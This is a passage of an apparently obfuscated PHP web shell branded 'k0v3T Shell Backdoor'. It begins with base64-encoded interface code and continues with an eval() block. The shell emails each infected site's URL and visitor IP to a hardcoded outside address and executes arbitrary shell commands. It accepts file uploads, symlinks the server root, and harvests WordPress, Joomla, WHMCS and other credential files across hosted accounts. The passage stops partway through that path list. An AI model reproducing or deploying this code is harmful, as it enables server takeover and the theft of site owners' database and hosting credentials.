gZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPic7DQplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsNCg0KZWNobyAiPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4NCjxzZWxlY3QgbmFtZT1cIm9wdFwiPg0KPG9wdGlvbiB2YWx1ZT1cIlNlbGVjdFwiPlNlbGVjdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpew0KaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Ow0KJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCmlmKCRzaXplID49IDEwMjQpew0KJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KfWVsc2V7DQokc2l6ZSA9ICRzaXplLicgS0InOw0KfQ0KDQplY2hvICI8dHI+DQo8dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+DQo8YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPjxmb250IGNvbG9yPXJlZD4kZmlsZTwvZm9udD48L2E+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPVJlZD4iLiRzaXplLiI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9IzVkZGNmYz4nOw0KZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9cmVkPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOw0KfQ0KZWNobyAnPGJyIC8+PGNlbnRlcj48Zm9udCBzaXplPTMgOyBjb2xvcj1yZWQ+azB2M1QgU2hlbGwgQmFja2Rvb3IgIFYuMDE8YnI+PGZvbnQgc2l6ZT00IDsgY29sb3I9IzVkZGNmYz5Db3B5cmlnaHQgJmNvcHk7IDxmb250IGNvbG9yPSJyZWQiPkluZG9uZXNpYW4gSGFja2VyIENvbW11bml0eTwvZm9udD48L2JyPg0KDQo8L2JvZHk+DQo8L2h0bWw+JzsNCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsNCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCi8vIFNvY2tldA0KJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQovLyBTeW1ib2xpYyBMaW5rDQokaW5mbyA9ICdsJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCi8vIFJlZ3VsYXINCiRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KLy8gQmxvY2sgc3BlY2lhbA0KJGluZm8gPSAnYic7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQovLyBEaXJlY3RvcnkNCiRpbmZvID0gJ2QnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCiRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KLy8gRklGTyBwaXBlDQokaW5mbyA9ICdwJzsNCn0gZWxzZSB7DQovLyBVbmtub3duDQokaW5mbyA9ICd1JzsNCn0NCg0KLy8gT3duZXINCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBHcm91cA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIFdvcmxkDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KcmV0dXJuICRpbmZvOw0KfQ==';
eval("@ini_set('output_buffering', 0);\r\n@ini_set('display_errors', 0);\r\nset_time_limit(0);\r\nini_set('memory_limit', '64M');\r\nheader('Content-Type: text/html; charset=UTF-8');\r\n\$tujuanmail = 'satyaaji1945@gmail.com';\r\n\$x_path = \"http://\" . \$_SERVER['SERVER_NAME'] . \$_SERVER['REQUEST_URI'];\r\n\$pesan_alert = \"fix \$x_path :p *IP Address : [ \" . \$_SERVER['REMOTE_ADDR'] . \" ]\";\r\nmail(\$tujuanmail, \"LOGGER\", \$pesan_alert, \"[ \" . \$_SERVER['REMOTE_ADDR'] . \" ]\");\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n\r\n//function\r\nfunction ambilKata(\$param, \$kata1, \$kata2){\r\n    if(strpos(\$param, \$kata1) === FALSE) return FALSE;\r\n    if(strpos(\$param, \$kata2) === FALSE) return FALSE;\r\n    \$start = strpos(\$param, \$kata1) + strlen(\$kata1);\r\n    \$end = strpos(\$param, \$kata2, \$start);\r\n    \$return = substr(\$param, \$start, \$end - \$start);\r\n    return \$return;\r\n}\r\nif(get_magic_quotes_gpc()) {\r\n    function idx_ss(\$array) {\r\nreturn is_array(\$array) ? array_map('idx_ss', \$array) : stripslashes(\$array);\r\n    }\r\n    \$_POST = idx_ss(\$_POST);\r\n}\r\n\r\nfunction exe(\$cmd) {\r\n    if(function_exists('system')) {        \r\n@ob_start();       \r\n@system(\$cmd);     \r\n\$buff = @ob_get_contents();        \r\n@ob_end_clean();       \r\nreturn \$buff;  \r\n    } elseif(function_exists('exec')) {        \r\n@exec(\$cmd,\$results);      \r\n\$buff = \"\";        \r\nforeach(\$results as \$result) {         \r\n    \$buff .= \$result;      \r\n} return \$buff;    \r\n    } elseif(function_exists('passthru')) {        \r\n@ob_start();       \r\n@passthru(\$cmd);       \r\n\$buff = @ob_get_contents();        \r\n@ob_end_clean();       \r\nreturn \$buff;  \r\n    } elseif(function_exists('shell_exec')) {      \r\n\$buff = @shell_exec(\$cmd);     \r\nreturn \$buff;  \r\n    }\r\n}\r\n\r\n//check dir\r\n\$nick = \"k0v3T\";\r\nif(isset(\$_GET['path'])){\r\n\$path = \$_GET['path'];\r\n}else{\r\n\$path = getcwd();\r\n}\r\n\$software = getenv(\"SERVER_SOFTWARE\");\r\n\$path = str_replace('\\\\','/',\$path);\r\n\$paths = explode('/',\$path);\r\n\r\n\r\n////////////////////////////////////////\r\n\r\nif(!function_exists('posix_getegid')) {\r\n    \$user = @get_current_user();\r\n    \$uid = @getmyuid();\r\n    \$gid = @getmygid();\r\n    \$group = \"?\";\r\n} else {\r\n    \$uid = @posix_getpwuid(posix_geteuid());\r\n    \$gid = @posix_getgrgid(posix_getegid());\r\n    \$user = \$uid['name'];\r\n    \$uid = \$uid['uid'];\r\n    \$group = \$gid['name'];\r\n    \$gid = \$gid['gid'];\r\n} \r\n//uname\r\necho \"<br><b><i><center><font color=#5ddcfc size=3>Current Dir : </font>\";\r\nforeach(\$paths as \$id=>\$pat){\r\nif(\$pat == '' && \$id == 0){\r\n\$a = true;\r\necho '<a href=\"?path=/\">/</a>';\r\ncontinue;\r\n}\r\nif(\$pat == '') continue;\r\necho '<a href=\"?path=';\r\nfor(\$i=0;\$i<=\$id;\$i++){\r\necho \"\$paths[\$i]\";\r\nif(\$i != \$id) echo \"/\";\r\n}\r\necho '\"><font color=red size=3>'.\$pat.'</font></a>/';\r\n}\r\n\r\n##TOOLBAR\r\necho \"<hr color=#5ddcfc>\r\n<br><center>\r\n<font size=3><a href='?' class='tombols'>Home</a>\r\n<font size=3><a href='?path=\$path&a=upload' class='tombols'>Upload</a>\r\n<font size=3><a href='?path=\$path&a=cmd' class='tombols'>Command</a>\r\n<font size=3><a href='?path=\$path&a=configv2' class='tombols'>Config</a>\r\n<font size=3><a href='?path=\$path&a=jumping' class='tombols'>Jumping</a>\r\n<br><br>\r\n\r\n<font size=3><a href='?path=\$path&a=symlink' class='tombols'>Symlink</a>\r\n<font size=3><a href='?path=\$path&a=disablefunc' class='tombols'>Bypass Disable Function</a>\r\n\r\n</center></br>\r\n<hr color=#5ddcfc><center>\";\r\n\r\n//uploads\r\nif(\$_GET['a'] == 'upload') {\r\nif(isset(\$_FILES['file'])){\r\nif(copy(\$_FILES['file']['tmp_name'],\$path.'/'.\$_FILES['file']['name'])){\r\necho '<font color=\"#5ddcfc\">Berhasil Upload gan!</font><br />';\r\n}else{\r\necho '<font color=\"red\">Gagal Upload Gan</font><br />';\r\n}\r\n}\r\necho '<form enctype=\"multipart/form-data\" method=\"POST\"><font color=\"red\" size=\"4\">\r\nUpload File :<br><input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"Upload\" />\r\n</form><br>\r\n</td></tr>';\t\r\n\r\n\r\n} elseif(\$_GET['a'] == 'configv2') {\r\n\t\t\tif(strtolower(substr(PHP_OS, 0, 3)) == \"win\"){\r\necho '<script>alert(\"Tidak bisa di gunakan di server windows\")</script>';\r\nexit;\r\n}\r\n\tif(\$_POST){\tif(\$_POST['config'] == 'symvhosts') {\r\n\t\t@mkdir(\"k0v3T_symvhosts\", 0777);\r\nexe(\"ln -s / k0v3T_symvhosts/root\");\r\n\$htaccess=\"Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\";\r\n@file_put_contents(\"k0v3T_symvhosts/.htaccess\",\$htaccess);\r\n\t\t\$etc_passwd=\$_POST['passwd'];\r\n    \r\n    \$etc_passwd=explode(\"\\n\",\$etc_passwd);\r\nforeach(\$etc_passwd as \$passwd){\r\n\$pawd=explode(\":\",\$passwd);\r\n\$user =\$pawd[5];\r\n\$jembod = preg_replace('/\\/var\\/www\\/vhosts\\//', '', \$user);\r\nif (preg_match('/vhosts/i',\$user)){\r\nexe(\"ln -s \".\$user.\"/httpdocs/wp-config.php k0v3T_symvhosts/\".\$jembod.\"-Wordpress.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/configuration.php k0v3T_symvhosts/\".\$jembod.\"-Joomla.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/config/koneksi.php k0v3T_symvhosts/\".\$jembod.\"-Lokomedia.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/forum/config.php k0v3T_symvhosts/\".\$jembod.\"-phpBB.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/sites/default/settings.php k0v3T_symvhosts/\".\$jembod.\"-Drupal.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/config/settings.inc.php k0v3T_symvhosts/\".\$jembod.\"-PrestaShop.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/app/etc/local.xml k0v3T_symvhosts/\".\$jembod.\"-Magento.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/admin/config.php k0v3T_symvhosts/\".\$jembod.\"-OpenCart.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/application/config/database.php k0v3T_symvhosts/\".\$jembod.\"-Ellislab.txt\"); \r\n}}}\r\nif(\$_POST['config'] == 'symlink') {\r\n@mkdir(\"k0v3T_symconfig\", 0777);\r\n@symlink(\"/\",\"k0v3T_symconfig/root\");\r\n\$htaccess=\"Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\";\r\n@file_put_contents(\"k0v3T_symconfig/.htaccess\",\$htaccess);}\r\nif(\$_POST['config'] == '404') {\r\n@mkdir(\"k0v3T_sym404\", 0777);\r\n@symlink(\"/\",\"k0v3T_sym404/root\");\r\n\$htaccess=\"Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\r\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\r\nIndexIgnore *.txt404\r\nRewriteEngine On\r\nRewriteCond %{REQUEST_FILENAME} ^.*k0v3T_sym404 [NC]\r\nRewriteRule \\.txt\$ %{REQUEST_URI}404 [L,R=302.NC]\";\r\n@file_put_contents(\"k0v3T_sym404/.htaccess\",\$htaccess);\r\n}\r\nif(\$_POST['config'] == 'grab') {\r\n\t\t\t\t\t\tmkdir(\"k0v3T_configgrab\", 0777);\r\n\t\t\t\t\t\t\$isi_htc = \"Options all\\nRequire None\\nSatisfy Any\";\r\n\t\t\t\t\t\t\$htc = fopen(\"k0v3T_configgrab/.htaccess\",\"w\");\r\n\t\t\t\t\t\tfwrite(\$htc, \$isi_htc);\t\r\n}\r\n\$passwd = \$_POST['passwd'];\r\n\r\npreg_match_all('/(.*?):x:/', \$passwd, \$user_config);\r\nforeach(\$user_config[1] as \$user_k0v3T) {\r\n\$grab_config = array(\r\n\"/home/\$user_k0v3T/.accesshash\" => \"WHM-accesshash\",\r\n\"/home/\$user_k0v3T/public_html/config/koneksi.php\" => \"Lokomedia\",\r\n\"/home/\$user_k0v3T/public_html/forum/config.php\" => \"phpBB\",\r\n\"/home/\$user_k0v3T/public_html/sites/default/settings.php\" => \"Drupal\",\r\n\"/home/\$user_k0v3T/public_html/config/settings.inc.php\" => \"PrestaShop\",\r\n\"/home/\$user_k0v3T/public_html/app/etc/local.xml\" => \"Magento\",\r\n\"/home/\$user_k0v3T/public_html/admin/config.php\" => \"OpenCart\",\r\n\"/home/\$user_k0v3T/public_html/application/config/database.php\" => \"Ellislab\",\r\n\"/home/\$user_k0v3T/public_html/vb/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/forum/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/forums/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/cc/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/inc/config.php\" => \"MyBB\",\r\n\"/home/\$user_k0v3T/public_html/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/shop/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/os/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/oscom/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/products/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/cart/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/inc/conf_global.php\" => \"IPB\",\r\n\"/home/\$user_k0v3T/public_html/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/wp/test/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/blog/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/beta/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/portal/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/site/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/wp/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/WP/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/news/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/wordpress/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/test/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/demo/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/home/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/v1/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/v2/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/press/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/new/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/blogs/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/blog/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/submitticket.php\" => \"^WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/cms/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/beta/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/portal/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/site/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/main/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/home/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/demo/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/test/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/v1/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/v2/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/joomla/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/new/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/WHMCS/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whmcs1/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Whmcs/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whmcs/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whmcs/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/WHMC/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Whmc/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whmc/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/WHM/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Whm/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whm/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/HOST/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Host/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/host/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/SUPPORTES/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Supportes/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/supportes/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/domains/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/domain/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Hosting/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/HOSTING/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/hosting/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CART/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Cart/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/cart/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/ORDER/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Order/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/order/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CLIENT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Client/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/client/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CLIENTAREA/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Clientarea/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/clientarea/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/SUPPORT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Support/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/support/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/BILLING/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Billing/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/billing/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/BUY/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Buy/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/buy/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/MANAGE/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Manage/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/manage/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/ClientSupport/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Clientsupport/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/clientsupport/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CHECKOUT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Checkout/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/checkout/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/BILLINGS/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Billings/submitticket.php\" => 